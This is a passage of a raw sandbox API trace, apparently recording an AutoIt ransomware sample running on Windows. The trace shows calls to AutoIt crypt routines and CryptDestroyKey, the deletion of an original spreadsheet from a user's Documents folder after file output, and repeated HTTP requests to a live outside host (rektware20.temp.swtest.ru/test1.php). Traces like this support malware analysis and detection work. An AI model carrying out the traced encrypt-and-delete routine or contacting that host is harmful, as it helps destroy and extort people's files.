returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.064] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.064] WriteFile (in: hFile=0x3bc, lpBuffer=0x17cddf0*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17cddf0*, lpNumberOfBytesWritten=0x130f01c*=0xe00, lpOverlapped=0x0) returned 1 [0069.065] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.065] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.065] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0069.065] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.065] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.065] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0069.066] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0069.066] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0069.066] CryptDestroyKey (hKey=0x164c370) returned 1 [0069.066] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.066] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.066] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.066] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.066] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.066] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.066] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.066] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.066] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.066] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0069.066] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.066] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.067] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.067] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.067] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.067] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.067] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.067] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.067] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.067] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.067] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.067] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.067] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.067] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.067] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.067] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.067] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.067] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.067] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0069.068] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0069.068] CryptReleaseContext (hProv=0x17aae68, dwFlags=0x0) returned 1 [0069.068] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.068] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.069] FreeLibrary (hLibModule=0x74c60000) returned 1 [0069.069] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.069] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.069] CloseHandle (hObject=0x2ac) returned 1 [0069.070] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.070] CloseHandle (hObject=0x3bc) returned 1 [0069.072] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.072] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.072] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", lpFilePart=0x0) returned 0x33 [0069.072] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4jcyflejyg9vem2.xls")) returned 0x20 [0069.072] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0069.072] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4jcyflejyg9vem2.xls")) returned 1 [0069.075] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0069.076] FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0069.076] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.076] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.076] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.076] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.076] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0069.076] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0069.077] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.077] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0069.077] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.077] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0069.077] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0069.077] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c) returned 1 [0069.077] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.077] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.078] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.079] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0069.079] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0069.079] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0069.079] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0069.084] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0069.085] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.085] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.085] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.085] CloseHandle (hObject=0x0) returned 0 [0069.085] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.085] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.101] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BCW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CW-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0069.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.102] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.102] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0069.102] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.102] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0069.102] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0069.102] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.102] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0069.102] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0069.102] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ee1c) returned 1 [0069.102] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.103] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.103] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.105] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0069.105] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0069.106] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0069.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0069.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0069.106] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.106] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.106] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.106] CloseHandle (hObject=0x0) returned 0 [0069.106] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.106] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0069.106] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0069.106] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.107] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.107] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.107] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.107] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.107] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0069.108] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.108] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 